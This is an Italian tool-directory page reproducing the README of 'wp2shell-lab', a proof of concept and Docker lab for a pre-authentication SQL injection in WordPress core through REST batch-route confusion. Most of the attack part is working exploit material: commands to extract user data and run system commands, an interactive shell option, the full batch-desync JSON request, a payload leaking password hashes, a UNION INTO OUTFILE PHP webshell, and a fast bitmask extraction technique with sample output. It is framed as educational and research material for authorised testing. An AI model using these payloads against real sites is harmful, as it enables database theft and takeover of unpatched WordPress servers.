Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/47cid/wp2shell-lab
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHub47cid/wp2shell-lab

wp2shell-lab

1421 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC educativo + laboratorio per CVE-2026-63030 + CVE-2026-60137: SQLi pre-autenticazione nel core di WordPress tramite confusione del batch-route REST

Vedi Repository

wp2shell-lab

PoC didattico e laboratorio per CVE-2026-63030 + CVE-2026-60137: SQL injection pre-autenticazione nel core di WordPress tramite confusione sulle route batch REST.

Scoperto da Adam Kues (Searchlight Cyber / Assetnote). Corretto in WordPress 6.9.5 / 7.0.2.

Avvio rapido

root@kitploit:~
# avvia il laboratorio vulnerabile
cd docker && ./setup.sh
cd ..

# rilevamento
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# estrazione dati (modalità veloce, predefinita)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# estrazione dati (modalità blind, per confronto)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# query SQL personalizzata
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (richiede il privilegio FILE, che il laboratorio concede)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # shell interattiva

# proxy tramite Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# smantellamento
cd docker && ./setup.sh down

Writeup

Passo 1: L'endpoint batch non è autenticato

POST /wp-json/batch/v1 raggruppa più chiamate API REST in una singola richiesta HTTP. Non ha un controllo di autenticazione proprio. La sicurezza è demandata al callback dei permessi di ogni singola sotto-richiesta.

Passo 2: Il desync

serve_batch_request_v1() costruisce due array paralleli:

  • $matches[] tiene traccia di quale handler deve distribuire ciascuna sotto-richiesta
  • $validation[] tiene traccia se ciascuna sotto-richiesta ha superato la validazione

Indicizza entrambi con lo stesso offset durante la distribuzione. Il bug: quando il path di una sotto-richiesta fallisce in wp_parse_url(), un WP_Error viene aggiunto a $validation ma non a $matches. Questo sposta $matches di una posizione, così ogni sotto-richiesta successiva viene distribuita all'handler sbagliato.

Passo 3: Doppio annidamento

Il desync viene usato due volte.

Batch esterno. Una richiesta /wp/v2/posts che trasporta un batch interno come corpo viene distribuita sotto l'handler batch (auto-chiamata). È stata validata come richiesta posts, quindi l'array requests interno non è mai stato verificato contro lo schema del batch. Questo aggira la allowlist dei metodi e consente alle sotto-richieste interne di usare GET.

Batch interno. Una richiesta /wp/v2/categories?author_exclude=<SQLI> viene distribuita sotto get_items() dei posts. Lo schema delle categorie non definisce author_exclude, quindi passa la validazione senza modifiche. Ma get_items() dei posts lo mappa a WP_Query::author__not_in, dove il valore viene interpolato grezzo in SQL.

Passo 4: L'SQL injection

Il codice vulnerabile di WP_Query sanificava author__not_in solo quando era già un array:

root@kitploit:~
// PRE-FIX (vulnerabile)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitizza
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // interpolazione grezza

Un valore stringa bypassa completamente il controllo is_array(). Il cast (array) lo avvolge senza sanificarlo.

Passo 5: Cosa puoi farci

Leggere il database (ogni sito vulnerabile):

root@kitploit:~
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

Oracolo booleano: post restituiti = vero, vuoto = falso. Ricerca binaria per ogni carattere.

Scrivere file (richiede il privilegio MySQL FILE, non è il default di WordPress):

root@kitploit:~
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

Il desync del batch

La richiesta HTTP effettiva:

root@kitploit:~
{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

Come si disallineano gli array:

serve_batch_request_v1() processa le sotto-richieste in due cicli. Il primo ciclo valida ogni sotto-richiesta e costruisce $matches[] e $validation[]. Il secondo ciclo distribuisce ogni sotto-richiesta usando $matches[$i] come handler. Poiché l'errore del primer manca da $matches, il secondo ciclo associa ogni richiesta all'handler sbagliato.

root@kitploit:~
POST /?rest_route=/batch/v1  (anonimo, senza autenticazione)
|
v
LA RICHIESTA CHE INVII
+--------------------------------------------------------------+
|                                                              |
|  Ciclo 1 (validazione):                                      |
|    [0] "http://"          -> wp_parse_url fallisce          |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 errore saltato in $matches                   |
|                                                              |
|  Ciclo 2 (distribuzione):                                    |
|    i=0: errore -> salta                                      |
|    i=1: POST /posts  usa $matches[1] = batch_handler         |
|         -> il corpo di posts viene eseguito come batch annidato |
|    i=2: POST /batch  usa $matches[2] = fuori dai limiti      |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
BATCH ANNIDATO (serve_batch_request_v1 chiama se stessa sul corpo sopra)
+--------------------------------------------------------------+
|                                                              |
|  Ciclo 1 (validazione):                                      |
|    [0] "http://"            -> wp_parse_url fallisce         |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Ciclo 2 (distribuzione):                                    |
|    i=0: errore -> salta                                      |
|    i=1: POST /categories usa $matches[1] = posts_handler     |
|         -> la richiesta categories è gestita da posts get_items() |
|         -> author_exclude non è nello schema cats, non sanificato |
|         -> posts lo mappa a WP_Query::author__not_in          |
|         -> SQL INJECTION                                      |
|                                                              |
+--------------------------------------------------------------+

Estrazione veloce tramite oracolo bitmask X-WP-Total

I PoC esistenti usano estrazione booleana blind: 1 bit per richiesta HTTP, circa 224 richieste per un hash di password. Questo repository combina due tecniche per un'estrazione ~75 volte più veloce.

Oracolo X-WP-Total. WordPress aggiunge SQL_CALC_FOUND_ROWS alle query dei post e mette il conteggio nell'header della risposta X-WP-Total. Le righe UNION vengono contate a livello SQL anche se PHP le filtra dal corpo della risposta. UNION condizionali codificano singoli bit:

root@kitploit:~
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0   -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0   -- bit 1
...                                                            -- bit 2-6
-- -

X-WP-Total = 0 significa bit non impostato, 1 significa bit impostato. Sette probe = un carattere ASCII completo.

Batch interno illimitato. Il batch esterno valida maxItems: 25 tramite il suo schema. La confusione sulle route bypassa questo limite: il batch interno viene eseguito ricorsivamente senza alcun controllo sulla dimensione. Tutti i 7 bit-probe per più caratteri si compattano in una singola richiesta.

16 caratteri x 7 bit = 112 probe per richiesta. Un hash phpass di 34 caratteri in ~3 richieste invece di ~224.

root@kitploit:~
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] uso oracolo booleano blind (ricerca binaria, 1 bit per richiesta)
[+] Versione MySQL: 8.0.46
[+] Utente database: wordpress@%
[+] Nome database: wordpress
[*] 198 richieste inviate

$ python3 -m exploit extract http://target --preset fingerprint
[*] uso oracolo bitmask X-WP-Total (16 caratteri/richiesta)
[+] Versione MySQL: 8.0.46
[+] Utente database: wordpress@%
[+] Nome database: wordpress
[*] 3 richieste inviate

Riferimenti

  • Rilascio di WordPress 7.0.2
  • Advisory di Searchlight Cyber
  • GHSA-ff9f-jf42-662q (confusione sulle route)
  • GHSA-fpp7-x2x2-2mjf (SQLi)
  • Icex0/wp2shell-poc - SQLi blind + webshell post-autenticazione
  • AdnaneKhan/Wp2Shell-RCE - RCE con INTO OUTFILE e laboratorio Docker
  • sergiointel/wp2shell-poc - PoC minimale basato sul timing

Note legali

Solo per test di sicurezza autorizzati e scopi didattici. Da usare esclusivamente contro sistemi di tua proprietà o per i quali hai esplicito permesso scritto di testare.

Scarica lo strumento